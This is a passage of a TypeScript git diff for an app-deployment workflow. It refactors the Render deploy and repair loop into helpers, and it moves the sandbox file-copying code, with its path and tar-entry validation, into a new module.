resourceNames } from "./blueprint.js"; +import { + declaredResources, + type ResourceNames, + resourceNames, +} from "./blueprint.js"; import { runBuilder } from "./build.js"; import { agentJson } from "./claude.js"; import { @@ -17,9 +21,11 @@ import { import { redactSecrets } from "./policy.js"; import { publishAppTask } from "./publish.js"; import { + type BlueprintRecord, type DeployOutcome, fetchDeployLogs, findBlueprint, + latestDeploys, pageContains, type ServiceRecord, waitForDeploy, @@ -35,9 +41,8 @@ const SERVICE_TIMEOUT_MS = 6 * 60 * 1000; const DEPLOY_TIMEOUT_MS = 15 * 60 * 1000; /** * Render can route a new onrender.com hostname some minutes after the first - * deploy of its service is live. Until then, the hostname gives 404. On - * 2026-09-24, a new static site gave 404 for more than 3 minutes after its - * deploy was live, and it gave 200 before 10 minutes. So the first check of + * deploy of its service is live, and until then the hostname gives 404. For a + * new static site that can last more than 3 minutes, so the first check of * each public URL waits this long. */ const ROUTE_TIMEOUT_MS = 10 * 60 * 1000; @@ -57,28 +62,39 @@ export interface DeployContext { runId: string; summary: string; databaseUrl: string | null; + /** From deploysBeforePublish(), read before the push. */ + deploysBefore: ReadonlyMap; + /** The manifest services that the push gives a new deploy, from publish-app. */ + changedServices: readonly string[]; +} + +/** The services of the app on Render, keyed by Render service name. */ +type AppServices = Map; + +/** What a step of the deploy gives the next step, or the end of the run. */ +type Step = { value: T } | { end: WorkflowResult }; + +/** + * The newest deploy of each service of the app that exists, keyed by Render + * service name. A rerun of an app replaces an app whose services exist, and + * right after the push their newest deploys are still these. + */ +export function deploysBeforePublish( + workspaceId: string, + spec: AppSpec, +): Promise> { + return latestDeploys(workspaceId, [...resourceNames(spec).services.values()]); } /** - * The deploy-manager loop. After the initial push: - * 1. Wait for services to appear via Blueprint sync - * 2. Wait for deploys to reach a terminal state - * 3. If any fail, read the logs of each failed deploy. The deploy-manager - * agent diagnoses the failures from these logs - * 4. The builder fixes what the deploy-manager diagnosed - * 5. verify-app verifies the repair. publish-app rewrites factory.json and - * the Blueprints from the repaired manifest, and pushes. Then wait for a - * new deploy of each service that failed. Repeat up to - * MAX_DEPLOY_REPAIR_ROUNDS + * The deploy stage after the first push: find the Blueprint, wait for it to + * create the services, wait for their deploys and repair the ones that fail, + * and smoke-test the live app. */ export async function awaitDeployment( ctx: DeployContext, ): Promise { - const { workspaceId } = ctx; - // A repair replaces the manifest. Read the spec from here, not from ctx. - let spec = ctx.spec; - const names = resourceNames(spec); - const wanted = [...names.services.values()]; + const names = resourceNames(ctx.spec); const heartbeat = runHeartbeat(ctx.runId); // An error is not caught. awaiting_blueprint tells the user to create a @@ -86,31 +102,59 @@ export async function awaitDeployment( // tries a failed request again, and an error that stays ends the run with // that error as its summary. const blueprint = await findBlueprint({ - workspaceId, + workspaceId: ctx.workspaceId, repo: ctx.repoUrl, branch: factoryConfig.branch, path: factoryConfig.blueprintPath, }); - if (!blueprint) { - return { - status: "awaiting_blueprint", - user: spec.user, - appName: spec.appName, - summary: [ - ctx.summary, - `Committed to ${ctx.repoUrl} on ${factoryConfig.branch}, but no Blueprint in workspace ${workspaceId} is watching ${factoryConfig.blueprintPath}.`, - "Create one once in that workspace in the Render Dashboard (New > Blueprint) and every later run deploys on push.", - ].join("\n\n"), - }; - } + if (!blueprint) return awaitingBlueprint(ctx); + + const services = await waitForAppServices(ctx, blueprint, names, heartbeat); + if ("end" in services) return services.end; + + const deployed = await deployWithRepairs( + ctx, + names, + services.value, + heartbeat, + ); + if ("end" in deployed) return deployed.end; + + return smokeTest( + ctx, + { spec: deployed.value, names, services: services.value, blueprint }, + heartbeat, + ); +} + +function awaitingBlueprint(ctx: DeployContext): WorkflowResult { + return { + status: "awaiting_blueprint", + user: ctx.spec.user, + appName: ctx.spec.appName, + summary: [ + ctx.summary, + `Committed to ${ctx.repoUrl} on ${factoryConfig.branch}, but no Blueprint in workspace ${ctx.workspaceId} is watching ${factoryConfig.blueprintPath}.`, + "Create one once in that workspace in the Render Dashboard (New > Blueprint) and every later run deploys on push.", + ].join("\n\n"), + }; +} +/** Wait for the Blueprint sync to create every service of the app. */ +async function waitForAppServices( + ctx: DeployContext, + blueprint: BlueprintRecord, + names: ResourceNames, + heartbeat: (detail: string) => Promise, +): Promise> { + const wanted = [...names.services.values()]; await setRunStage( ctx.runId, "waiting_for_services", `Waiting for ${wanted.length} Blueprint service(s)`, ); const services = await waitForServices( - workspaceId, + ctx.workspaceId, wanted, SERVICE_TIMEOUT_MS, heartbeat, @@ -118,51 +162,47 @@ export async function awaitDeployment( if (services.size < wanted.length) { const missing = wanted.filter((name) => !services.has(name)); return { - status: "deploy_failed", - summary: [ - `Blueprint ${blueprint.id} did not produce ${missing.join(", ")} within ${SERVICE_TIMEOUT_MS / 60000} minutes.`, - blueprint.autoSync - ? `Blueprint status is "${blueprint.status}".` - : "Auto Sync is off for this Blueprint, so the push did not sync. Turn it on or sync manually.", - ].join(" "), + end: { + status: "deploy_failed", + summary: [ + `Blueprint ${blueprint.id} did not produce ${missing.join(", ")} within ${SERVICE_TIMEOUT_MS / 60000} minutes.`, + blueprint.autoSync + ? `Blueprint status is "${blueprint.status}".` + : "Auto Sync is off for this Blueprint, so the push did not sync. Turn it on or sync manually.", + ].join(" "), + }, }; } - const urlOf = (name: string | null): string | null => - name ? (services.get(name)?.url ?? null) : null; - await setRunUrls(ctx.runId, { - webUrl: urlOf(names.web), - apiUrl: urlOf(names.api), + webUrl: urlOf(services, names.web), + apiUrl: urlOf(services, names.api), }); + return { value: services }; +} - // ── Deploy-manager loop ───────────────────────────────────────────── - // The first round waits for every service. A repair round waits only for - // the services that failed. A live service that the repair did not change - // gets no new deploy, so it keeps its live deploy. - let waits: DeployWait[] = [...services.values()].map((service) => ({ - service, - after: null, - })); - for (let round = 0; round <= MAX_DEPLOY_REPAIR_ROUNDS; round++) { - await setRunStage( - ctx.runId, - "waiting_for_deploys", - `Waiting for ${waits.length} deploy(s), round ${round + 1}`, - ); - const outcomes = await Promise.all( - waits.map(async ({ service, after }) => ({ - service, - deploy: await waitForDeploy(service.id, { - timeoutMs: DEPLOY_TIMEOUT_MS, - after, - onPoll: (detail) => heartbeat(`${service.name}: ${detail}`), - }), - })), - ); - - const failed = outcomes.filter(({ deploy }) => deploy.result !== "live"); - if (failed.length === 0) break; +/** + * Wait for the deploys of the push, and repair the deploys that fail, up to + * MAX_DEPLOY_REPAIR_ROUNDS times. Gives the spec that is live: a repair + * replaces the manifest. Each repair round: + * 1. reads the logs of each failed deploy. The deploy-manager agent + * diagnoses the failures from these logs + * 2. the builder fixes what the deploy manager diagnosed + * 3. verify-app verifies the repair. publish-app rewrites factory.json and + * the Blueprints from the repaired manifest, and pushes + * 4. the next round waits for a new deploy of each service that failed + */ +async function deployWithRepairs( + ctx: DeployContext, + names: ResourceNames, + services: AppServices, + heartbeat: (detail: string) => Promise, +): Promise> { + let spec = ctx.spec; + let waits = firstWaits(ctx, names, services); + for (let round = 0; ; round++) { + const failed = await waitForDeploys(ctx.runId, waits, round, heartbeat); + if (failed.length === 0) return { value: spec }; // Another round cannot repair a service that the push did not deploy // again. The deploy manager reads the same failed deploy. @@ -170,117 +210,224 @@ export async function awaitDeployment( round === MAX_DEPLOY_REPAIR_ROUNDS || failed.some(({ deploy }) => deploy.result === "not_started") ) { - return { status: "deploy_failed", summary: deployFailures(failed) }; + return { + end: { status: "deploy_failed", summary: deployFailures(failed, round) }, + }; } - // The deploy manager diagnoses the failures from the logs of each - // failed deploy. No agent can read logs, so workflow code reads them. - const reports = await Promise.all( - failed.map((failure) => failedDeployReport(workspaceId, failure)), - ); - const diagnosis = await agentJson( - (message) => ctx.tasks.run(deployManagerTask, { message }), - deployDiagnosisSchema, - [ - `Workspace: ${workspaceId}`, - "", - "The following services failed to deploy:", - "", - reports.join("\n\n"), - "", - "Diagnose exactly what went wrong. Quote the exact error from the logs.", - ].join("\n"), - `deploy-manager-${round + 1}`, - ); + const repaired = await repairDeploys(ctx, spec, failed, round); + if ("end" in repaired) return repaired; + spec = repaired.value; - if (diagnosis.allHealthy || diagnosis.failures.length === 0) break; - - // Hand the diagnosis to the builder to fix. - const diagnosisText = diagnosis.failures - .map( - (f) => - `--- ${f.serviceName} (${f.status}) ---\n${f.diagnosis}${f.logs ? `\n\nLogs:\n${f.logs}` : ""}`, - ) - .join("\n\n"); - - const buildOutput = await runBuilder( - ctx.tasks, - ctx.sandbox, - ctx.appDir, - [ - "The app built and passed verification in the sandbox, but Render's deploy failed.", - "The deploy manager diagnosed these issues:", - "", - diagnosisText, - "", - "Fix exactly what the diagnosis names.", - "Keep the same services and databases in the manifest. Do not add, remove, or rename one, and do not change the kind of a service.", - ].join("\n"), - `builder-deploy-fix-${round + 1}`, - ); + // Right after the push, the newest deploy of each failed service is + // still the deploy that failed. A live service that the repair did not + // change gets no new deploy, so it keeps its live deploy. + waits = failed.map(({ service, deploy }) => ({ + service, + after: deploy.deployId, + })); + } +} - // The repaired manifest must keep every resource, because `names` and - // `services` above describe them. The rest of the spec stays: - // resourcePrefix is in each resource name. - const repaired: AppSpec = { ...spec, manifest: buildOutput.manifest }; - const rejection = resourceChange(spec, repaired); - if (rejection) { - return { +/** A service to wait for after a push. */ +interface DeployWait { + service: ServiceRecord; + /** The deploy from before the push, or null. See waitForDeploy(). */ + after: string | null; +} + +/** A service, and the deploy that it ended its wait with. */ +interface DeployResult { + service: ServiceRecord; + deploy: DeployOutcome; +} + +/** + * The first round waits for every service. A service that existed before the + * push and whose files the push changed waits for a deploy newer than its + * newest deploy from before the push. Render does not deploy a service whose + * files did not change again, so its newest deploy is its result. + */ +function firstWaits( + ctx: DeployContext, + names: ResourceNames, + services: AppServices, +): DeployWait[] { + const changed = new Set( + ctx.changedServices.map((name) => names.services.get(name)), + ); + return [...services.values()].map((service) => ({ + service, + after: changed.has(service.name) + ? (ctx.deploysBefore.get(service.name) ?? null) + : null, + })); +} + +/** Wait for each deploy, and give the deploys that are not live. */ +async function waitForDeploys( + runId: string, + waits: readonly DeployWait[], + round: number, + heartbeat: (detail: string) => Promise, +): Promise { + await setRunStage( + runId, + "waiting_for_deploys", + `Waiting for ${waits.length} deploy(s), round ${round + 1}`, + ); + const outcomes = await Promise.all( + waits.map(async ({ service, after }) => ({ + service, + deploy: await waitForDeploy(service.id, { + timeoutMs: DEPLOY_TIMEOUT_MS, + after, + onPoll: (detail) => heartbeat(`${service.name}: ${detail}`), + }), + })), + ); + return outcomes.filter(({ deploy }) => deploy.result !== "live"); +} + +/** + * One repair round: the deploy manager diagnoses the failed deploys, the + * builder fixes them, verify-app verifies the fix, and publish-app pushes it. + * Gives the repaired spec. + */ +async function repairDeploys( + ctx: DeployContext, + spec: AppSpec, + failed: readonly DeployResult[], + round: number, +): Promise> { + // No agent can read logs, so workflow code reads them. + const reports = await Promise.all( + failed.map((failure) => failedDeployReport(ctx.workspaceId, failure)), + ); + const diagnosis = await agentJson( + (message) => ctx.tasks.run(deployManagerTask, { message }), + deployDiagnosisSchema, + [ + `Workspace: ${ctx.workspaceId}`, + "", + "The following services failed to deploy:", + "", + reports.join("\n\n"), + "", + "Diagnose exactly what went wrong. Quote the exact error from the logs.", + ].join("\n"), + `deploy-manager-${round + 1}`, + ); + // Render reported these deploys failed, so a diagnosis with nothing to fix + // cannot send the run to the smoke checks. + if (diagnosis.failures.length === 0) { + return { + end: { + status: "deploy_failed", + summary: `The deploy manager diagnosed no failure to repair in round ${round + 1}. ${deployFailures(failed, round)}`, + }, + }; + } + + const diagnosisText = diagnosis.failures + .map( + (f) => + `--- ${f.serviceName} (${f.status}) ---\n${f.diagnosis}${f.logs ? `\n\nLogs:\n${f.logs}` : ""}`, + ) + .join("\n\n"); + const buildOutput = await runBuilder( + ctx.tasks, + ctx.sandbox, + ctx.appDir, + [ + "The app built and passed verification in the sandbox, but Render's deploy failed.", + "The deploy manager diagnosed these issues:", + "", + diagnosisText, + "", + "Fix exactly what the diagnosis names.", + "Keep the same services and databases in the manifest. Do not add, remove, or rename one, and do not change the kind of a service.", + ].join("\n"), + `builder-deploy-fix-${round + 1}`, + ); + + // The repaired manifest must keep every resource, because the services + // that the deploy waits for come from the first push. The rest of the + // spec stays: resourcePrefix is in each resource name. + const repaired: AppSpec = { ...spec, manifest: buildOutput.manifest }; + const rejection = resourceChange(spec, repaired); + if (rejection) { + return { + end: { status: "deploy_failed", summary: `Deploy repair round ${round + 1} was not pushed. ${rejection}`, - }; - } + }, + }; + } - const { failures } = await ctx.tasks.run(verifyAppTask, { - sandboxId: ctx.sandbox.id, - user: spec.user, - appName: spec.appName, - manifest: repaired.manifest, - databaseUrl: ctx.databaseUrl, - }); - if (failures.length > 0) { - return { + const { failures } = await ctx.tasks.run(verifyAppTask, { + sandboxId: ctx.sandbox.id, + user: repaired.user, + appName: repaired.appName, + manifest: repaired.manifest, + databaseUrl: ctx.databaseUrl, + }); + if (failures.length > 0) { + return { + end: { status: "deploy_failed", summary: `Deploy repair round ${round + 1} failed local verification: ${failures.join("; ").slice(0, 1_000)}`, - }; - } + }, + }; + } - // Render deploys from the root Blueprint, which comes from each - // factory.json. If these files keep the old manifest, Render keeps the - // old commands, paths, and env vars. - spec = repaired; - const { commit } = await ctx.tasks.run(publishAppTask, { - sandboxId: ctx.sandbox.id, - spec, - message: `Fix Render deploy for ${spec.user}/${spec.appName} (round ${round + 1})`, - }); - // With no commit, Render deploys nothing, and the failed deploys stay. - // Render keeps the last live deploy of a failed service, so the smoke - // checks can pass against the old code. - if (!commit) { - return { + // Render deploys from the root Blueprint, which comes from each + // factory.json. If these files keep the old manifest, Render keeps the + // old commands, paths, and env vars. + const { commit } = await ctx.tasks.run(publishAppTask, { + sandboxId: ctx.sandbox.id, + spec: repaired, + message: `Fix Render deploy for ${repaired.user}/${repaired.appName} (round ${round + 1})`, + }); + // With no commit, Render deploys nothing, and the failed deploys stay. + // Render keeps the last live deploy of a failed service, so the smoke + // checks can pass against the old code. + if (!commit) { + return { + end: { status: "deploy_failed", - summary: `Deploy repair round ${round + 1} changed no files, so Render has no new commit to deploy. ${deployFailures(failed)}`, - }; - } - - // Right after the push, the newest deploy of each failed service is - // still the deploy that failed. - waits = failed.map(({ service, deploy }) => ({ - service, - after: deploy.deployId, - })); + summary: `Deploy repair round ${round + 1} changed no files, so Render has no new commit to deploy. ${deployFailures(failed, round)}`, + }, + }; } + return { value: repaired }; +} - // ── Smoke the real thing ──────────────────────────────────────────── +/** + * The checks that a deploy status cannot make: each public URL answers, the + * storefront names the public hostname of the API, and the API gives data + * that the storefront's origin can read. + */ +async function smokeTest( + ctx: DeployContext, + app: { + spec: AppSpec; + names: ResourceNames; + services: AppServices; + blueprint: BlueprintRecord; + }, + heartbeat: (detail: string) => Promise, +): Promise { + const { spec, names, services, blueprint } = app; await setRunStage( ctx.runId, "smoke_testing", "Deploys are live. The workflow checks public URLs, the API host in the storefront, data, and CORS", ); - const apiUrl = urlOf(names.api); + const storefrontUrl = urlOf(services, names.web); + const apiUrl = urlOf(services, names.api); // An API-only app has no storefront, so the API is the public URL. - const webUrl = urlOf(names.web) ?? apiUrl; + const webUrl = storefrontUrl ?? apiUrl; if (!webUrl) { return { status: "deploy_failed", @@ -303,8 +450,8 @@ export async function awaitDeployment( ); if (apiUrl && apiService) { const failure = - (await smokeStorefront(urlOf(names.web), apiUrl)) ?? - (await smokeApi(apiUrl, apiService, urlOf(names.web), heartbeat)); + (await smokeStorefront(storefrontUrl, apiUrl)) ?? + (await smokeApi(apiUrl, apiService, storefrontUrl, heartbeat)); if (failure) { return { status: "deploy_failed", @@ -323,24 +470,24 @@ export async function awaitDeployment( apiUrl, summary: [ ctx.summary, - `Deployed ${[...services.values()].length} service(s)${hasDb ? " and a Postgres database" : ""} from ${factoryConfig.blueprintPath} (Blueprint ${blueprint.id}).`, + `Deployed ${services.size} service(s)${hasDb ? " and a Postgres database" : ""} from ${factoryConfig.blueprintPath} (Blueprint ${blueprint.id}).`, ].join("\n\n"), }; } -/** A service to wait for after a push. */ -interface DeployWait { - service: ServiceRecord; - /** The deploy from before the push, or null. See waitForDeploy(). */ - after: string | null; +function urlOf(services: AppServices, name: string | null): string | null { + return name ? (services.get(name)?.url ?? null) : null; } +/** Round 0 waits for the first push, and each later round for a repair. */ function deployFailures( - failed: readonly { service: ServiceRecord; deploy: DeployOutcome }[], + failed: readonly DeployResult[], + round: number, ): string { + const push = round === 0 ? "the push" : "the repair push"; const lines = failed.map(({ service, deploy }) => deploy.result === "not_started" - ? `${service.name}: the repair push did not start a new deploy in ${DEPLOY_TIMEOUT_MS / 60000} minutes. ` + + ? `${service.name}: ${push} did not start a new deploy in ${DEPLOY_TIMEOUT_MS / 60000} minutes. ` + `The newest deploy is still ${deploy.deployId} ("${deploy.status}").` : `${service.name} ended as "${deploy.status}".`, ); @@ -358,7 +505,7 @@ function deployFailures( */ async function failedDeployReport( workspaceId: string, - { service, deploy }: { service: ServiceRecord; deploy: DeployOutcome }, + { service, deploy }: DeployResult, ): Promise { const logs = deploy.deployId ? redactSecrets( diff --git a/app/files.ts b/app/files.ts new file mode 100644 index 0000000..1a228c4 --- /dev/null +++ b/app/files.ts @@ -0,0 +1,256 @@ +/** + * The files of an app, copied between sandboxes as data. readAppFiles() packs + * them in the sandbox of the build, and writeAppFiles() writes them into a + * clone in a sandbox that no agent uses. + * + * The builder can run any command in the sandbox of its build, so nothing + * read out of it is trusted: appFiles() accepts only regular files with plain + * paths below the app directory, up to MAX_APP_BYTES. + */ +import { randomUUID } from "node:crypto"; +import { Parser } from "tar"; +import { type Sandbox, shellEscape } from "./sandbox.js"; + +/** + * The limit of the files of one app. Each service of each app builds from a + * clone of the apps repository, so a large app makes every deploy slower. The + * workflow downloads at most four photographs of 2 MB, and the builder can + * copy them one time. publish-app holds the files in memory, on the flex plan. + */ +export const MAX_APP_BYTES = 50 * 1024 * 1024; + +/** The tar types of a regular file. */ +const REGULAR_FILE = new Set(["File", "OldFile", "ContiguousFile"]); +const GZIP_MAGIC = Buffer.from([0x1f, 0x8b]); +const ZSTD_MAGIC = Buffer.from([0x28, 0xb5, 0x2f, 0xfd]); +/** Ends each heredoc. Base64 has no "_", so no line of a file can end one. */ +const FILE_EOF = "FACTORY_FILE_EOF"; + +/** A file of an app, as the factory copies it out of the sandbox of its build. */ +export interface AppFile { + /** Relative to the app directory. */ + path: string; + data: Buffer; + executable: boolean; +} + +/** + * The files of an app, or why the factory does not copy them. The error is + * for the builder: verify-app gives it to the builder to fix. + */ +export type AppFiles = { files: AppFile[] } | { error: string }; + +/** + * Read the files that a commit of the app holds out of the sandbox of its + * build. The builder can run any command in that sandbox, so this is data + * that nothing trusts: appFiles() accepts only regular files with plain paths + * below the app directory. + */ +export async function readAppFiles( + sandbox: Sandbox, + appDir: string, +): Promise { + const base = `/tmp/vibe-app-${randomUUID()}`; + const list = shellEscape(`${base}.list`); + const archive = shellEscape(`${base}.tar`); + try { + const packed = await sandbox.run( + `cd ${shellEscape(appDir)} && ` + + // An index that does not exist, so that git lists each file that + // a first commit holds, also a file that the builder staged. + `GIT_INDEX_FILE=${shellEscape(`${base}.index`)} git ls-files -z --others --exclude-standard >${list} && ` + + `tar --null --no-recursion -T ${list} -cf ${archive} && ` + + `wc -c <${archive}`, + ); + // For example, a process of the builder changed a file during the pack. + if (packed.exitCode !== 0) { + return { + error: `The files of the app could not be packed: ${packed.output.slice(0, 1_000)}`, + }; + } + // Stop an archive that is too large before the download. + const size = Number(packed.output.trim().split("\n").at(-1)); + if (size > MAX_APP_BYTES) return { error: tooLarge(size) }; + return await appFiles(await sandbox.download(`${base}.tar`)); + } finally { + await sandbox.run(`rm -f ${list} ${archive}`).catch(() => {}); + } +} + +/** The files in a tar archive of an app, or why the factory does not copy them. */ +export async function appFiles(archive: Buffer): Promise { + if (archive.byteLength > MAX_APP_BYTES) { + return { error: tooLarge(archive.byteLength) }; + } + // readAppFiles() packs a plain tar. A compressed archive can expand in + // memory to much more than the limit. + if ( + archive.subarray(0, GZIP_MAGIC.length).equals(GZIP_MAGIC) || + archive.subarray(0, ZSTD_MAGIC.length).equals(ZSTD_MAGIC) + ) { + return { error: "The archive of the app is compressed." }; + } + + let entries: TarEntry[]; + try { + entries = await tarEntries(archive); + } catch (error) { + return { + error: `The archive of the app is not a valid tar archive: ${error instanceof Error ? error.message : String(error)}`, + }; + } + + const files: AppFile[] = []; + const seen = new Set(); + for (const entry of entries) { + const error = entryError(entry, seen); + if (error) return { error }; + seen.add(entry.path); + // Git keeps only the executable bit of the owner. + files.push({ + path: entry.path, + data: entry.data, + executable: (entry.mode & 0o100) !== 0, + }); + } + if (files.length === 0) { + return { error: "No file in the app directory goes into a commit." }; + } + return { files }; +} + +interface TarEntry { + path: string; + type: string; + mode: number; + data: Buffer; +} + +function tarEntries(archive: Buffer): Promise { + return new Promise((resolve, reject) => { + const entries: TarEntry[] = []; + const parser = new Parser({ + // A damaged entry is an error, not a warning that skips the entry. + strict: true, + onReadEntry: (entry) => { + const chunks: Buffer[] = []; + entry.on("data", (chunk: Buffer) => chunks.push(chunk)); + entry.on("end", () => + entries.push({ + path: entry.path, + type: entry.type, + mode: entry.mode ?? 0, + data: Buffer.concat(chunks), + }), + ); + }, + }); + parser.on("error", reject); + parser.on("end", () => resolve(entries)); + parser.end(archive); + }); +} + +/** Why the factory does not copy an entry of the archive, or null. */ +function entryError( + entry: TarEntry, + seen: ReadonlySet, +): string | null { + if (/\p{Cc}/u.test(entry.path)) { + return `${JSON.stringify(entry.path)} has a control character in its name.`; + } + const path = entry.path.replace(/\/+$/, ""); + // git ls-files gives a Git repository in the app as one directory. + if (entry.type === "Directory") { + return `${path} is a Git repository in the app directory. Remove ${path}/.git, so that a commit holds its files.`; + } + if (entry.type === "SymbolicLink") { + return `${path} is a symbolic link. Only regular files are published: replace the link with a copy of the file or directory that it points to.`; + } + if (!REGULAR_FILE.has(entry.type)) { + return `${path} is a ${entry.type} entry. Only regular files are published.`; + } + const segments = entry.path.split("/"); + if ( + entry.path.startsWith("/") || + segments.some((segment) => ["", ".", ".."].includes(segment)) + ) { + return `${entry.path} is not a plain path below the app directory.`; + } + if (segments.some((segment) => segment.toLowerCase() === ".git")) { + return `${entry.path} is in a .git directory. No file from a .git directory is published.`; + } + if (seen.has(entry.path)) { + return `${entry.path} is in the archive two times.`; + } + return null; +} + +function tooLarge(bytes: number): string { + const mb = (value: number) => Math.ceil(value / (1024 * 1024)); + return ( + `The files of the app are ${mb(bytes)} MB, and the limit is ${mb(MAX_APP_BYTES)} MB. ` + + "Remove large files, and files that are in the app two times." + ); +} + +/** + * Replace the app directory of a clone with the files of the build. One + * script writes them all, as materializeTemplate() writes a template, and + * base64 carries each file, so that binary data comes through unchanged. + */ +export async function writeAppFiles( + sandbox: Sandbox, + appDir: string, + files: readonly AppFile[], +): Promise { + const scriptPath = `/tmp/vibe-app-${randomUUID()}.sh`; + await sandbox.upload(scriptPath, appFilesScript(files, appDir)); + try { + await sandbox.mustRun( + `sh ${shellEscape(scriptPath)}`, + "Write the files of the app", + ); + } finally { + await sandbox.run(`rm -f ${shellEscape(scriptPath)}`).catch(() => {}); + } +} + +/** + * The script that writeAppFiles() runs. Each path is a plain relative path + * from appFiles(), and the directory is new. So each file goes below the app + * directory: no symbolic link is there to follow. + */ +function appFilesScript(files: readonly AppFile[], appDir: string): string { + // "./" first, so that no command reads a path such as "-rf" as an option. + const local = (path: string) => shellEscape(`./${path}`); + const directories = new Set(); + for (const { path } of files) { + const slash = path.lastIndexOf("/"); + if (slash > 0) directories.add(path.slice(0, slash)); + } + + const lines = [ + "set -e", + `rm -rf ${shellEscape(appDir)}`, + `mkdir -p ${shellEscape(appDir)}`, + `cd ${shellEscape(appDir)}`, + ]; + if (directories.size > 0) { + lines.push(`mkdir -p ${[...directories].sort().map(local).join(" ")}`); + } + for (const file of files) { + // One string for each file, with a line break after each 76 characters. + // An array of short lines takes much more memory. + const base64 = file.data + .toString("base64") + .replace(/.{76}(?=.)/g, "$&\n"); + lines.push( + `base64 -d >${local(file.path)} <<'${FILE_EOF}'`, + base64, + FILE_EOF, + ); + if (file.executable) lines.push(`chmod 755 ${local(file.path)}`); + } + return `${lines.join("\n")}\n`; +} diff --git a/app/gateway.ts b/app/gateway.ts index 30dddc5..8560f00 100644 --- a/app/gateway.ts +++ b/app/gateway.ts @@ -103,7 +103,6 @@ export function createGateway(): Hono { // script from an earlier deploy looks up elements the new page lacks. const uiFile = (path: string) => [uiAuth, noCache, serveStatic({ path: `./public/${path}` })] as const; - // Two views of the same UI. Each one has a button that opens the other. app.get("/", ...uiFile("index.html")); app.get("/table", ...uiFile("table.html")); app.get("/app.js", ...uiFile("app.js")); diff --git a/app/git.ts b/app/git.ts index ae6c69a..e228862 100644 --- a/app/git.ts +++ b/app/git.ts @@ -2,49 +2,21 @@ * Clone, commit, push, verify — all workflow-owned. Agents never run git. * * The sandbox of a build gets no clone and no credential. The factory copies - * the files of the app out of it as data, and commits them in a clone in a - * different sandbox. Each commit changes only the directory of one app and - * the root Blueprint. - * - * The credential half lives here too. GitHub is only a code substrate: Render's - * Blueprint deploys from the apps repository, so the one thing the factory - * needs from GitHub is a token that can push to it. There is no REST client. + * the files of the app out of it as data (files.ts), and commits them in a + * clone in a different sandbox. Each commit changes only the directory of one + * app and the root Blueprint. */ -import { createSign, randomUUID } from "node:crypto"; -import { Parser } from "tar"; +import { randomUUID } from "node:crypto"; import { factoryConfig } from "../factory.config.js"; import type { Manifest } from "./contracts.js"; import { type ExecResult, type Sandbox, shellEscape } from "./sandbox.js"; export const REPO_DIR = factoryConfig.repoDir; -/** - * The limit of the files of one app. Each service of each app builds from a - * clone of the apps repository, so a large app makes every deploy slower. The - * workflow downloads at most four photographs of 2 MB, and the builder can - * copy them one time. publish-app holds the files in memory, on the starter - * plan. - */ -export const MAX_APP_BYTES = 50 * 1024 * 1024; - const GITHUB_SEGMENT = /^[A-Za-z0-9_.-]+$/; /** A path segment that a .gitignore pattern matches literally: no globs, no escapes. */ const PLAIN_SEGMENT = /^[A-Za-z0-9._-]+$/; -const MAX_VERIFY_OUTPUT_CHARS = 10_000; const PUSH_ATTEMPTS = 3; -const GITHUB_API = process.env.GITHUB_API_URL ?? "https://api.github.com"; -const REFRESH_MARGIN_MS = 5 * 60 * 1000; -/** The tar types of a regular file. */ -const REGULAR_FILE = new Set(["File", "OldFile", "ContiguousFile"]); -const GZIP_MAGIC = Buffer.from([0x1f, 0x8b]); -const ZSTD_MAGIC = Buffer.from([0x28, 0xb5, 0x2f, 0xfd]); -/** Ends each heredoc. Base64 has no "_", so no line of a file can end one. */ -const FILE_EOF = "FACTORY_FILE_EOF"; - -export interface VerificationResult { - passed: boolean; - failures: string; -} export function githubRemoteUrl(owner: string, repo: string): string { const unsafe = [owner, repo].some( @@ -357,6 +329,19 @@ async function checkCommitPaths( sandbox: Sandbox, paths: readonly string[], ): Promise { + const outside = (await headChangedPaths(sandbox)).filter( + (changed) => + !paths.some((path) => changed === path || changed.startsWith(`${path}/`)), + ); + if (outside.length > 0) { + throw new Error( + `The commit changes paths outside ${paths.join(" and ")}, so it was not pushed: ${outside.slice(0, 10).join(", ")}`, + ); + } +} + +/** The paths that the commit at HEAD changes, relative to the root of the clone. */ +export async function headChangedPaths(sandbox: Sandbox): Promise { // -m, so that a merge commit also shows what it changes. const listed = await git( sandbox, @@ -367,66 +352,12 @@ async function checkCommitPaths( // that can start with an allowed path. if (listed !== "" && !listed.endsWith("\0")) { throw new Error( - `The list of the paths that the commit changes has no NUL terminators, so the commit was not pushed: ${listed.slice(0, 200)}`, + `The list of the paths that the commit changes has no NUL terminators: ${listed.slice(0, 200)}`, ); } - const outside = listed - .split("\0") - .filter( - (changed) => - changed !== "" && - !paths.some( - (path) => changed === path || changed.startsWith(`${path}/`), - ), - ); - if (outside.length > 0) { - throw new Error( - `The commit changes paths outside ${paths.join(" and ")}, so it was not pushed: ${outside.slice(0, 10).join(", ")}`, - ); - } -} - -/** Run commands in a directory and summarize failures. */ -export async function runVerification( - sandbox: Sandbox, - dir: string, - commands: readonly string[], -): Promise { - const failures: string[] = []; - - for (const command of commands) { - const { output, exitCode } = await sandbox.run( - `cd ${shellEscape(dir)} && ${command}`, - ); - if (exitCode !== 0) { - failures.push( - `Command: ${command}\nExit code: ${exitCode}\nOutput:\n${output.slice(0, MAX_VERIFY_OUTPUT_CHARS)}`, - ); - } - } - - return { - passed: failures.length === 0, - failures: failures.join("\n\n---\n\n"), - }; -} - -/* ── The files of an app ──────────────────────────────────────────────── */ - -/** A file of an app, as the factory copies it out of the sandbox of its build. */ -export interface AppFile { - /** Relative to the app directory. */ - path: string; - data: Buffer; - executable: boolean; + return listed.split("\0").filter((path) => path !== ""); } -/** - * The files of an app, or why the factory does not copy them. The error is - * for the builder: verify-app gives it to the builder to fix. - */ -export type AppFiles = { files: AppFile[] } | { error: string }; - /** * Make the app directory in the sandbox of a build, in a new repository with * no remote. The sandbox gets no clone of the apps repository and no @@ -442,330 +373,3 @@ export async function initAppDir( "Create the app directory", ); } - -/** - * Read the files that a commit of the app holds out of the sandbox of its - * build. The builder can run any command in that sandbox, so this is data - * that nothing trusts: appFiles() accepts only regular files with plain paths - * below the app directory. - */ -export async function readAppFiles( - sandbox: Sandbox, - appDir: string, -): Promise { - const base = `/tmp/vibe-app-${randomUUID()}`; - const list = shellEscape(`${base}.list`); - const archive = shellEscape(`${base}.tar`); - try { - const packed = await sandbox.run( - `cd ${shellEscape(appDir)} && ` + - // An index that does not exist, so that git lists each file that - // a first commit holds, also a file that the builder staged. - `GIT_INDEX_FILE=${shellEscape(`${base}.index`)} git ls-files -z --others --exclude-standard >${list} && ` + - `tar --null --no-recursion -T ${list} 